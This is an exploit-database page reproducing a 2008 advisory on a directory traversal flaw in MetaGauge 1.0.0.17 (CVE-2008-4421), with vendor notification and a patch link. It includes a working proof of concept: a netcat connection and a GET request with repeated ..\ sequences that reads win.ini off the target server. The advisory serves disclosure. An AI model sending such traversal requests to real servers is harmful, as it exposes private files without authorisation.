[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Hammer Software MetaGauge 1.0.0.17 Directory Traversal Vulnerability

Author
Brad Antoniewicz
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9274
Category
remote exploits
Date add
05-10-2008
Platform
unsorted
====================================================================
Hammer Software MetaGauge 1.0.0.17 Directory Traversal Vulnerability
====================================================================


Title: MetaGauge 1.0.0.17 Directory Traversal

-------------------------------------------------------------

Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. 

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421




#  0day.today [2024-12-26]  #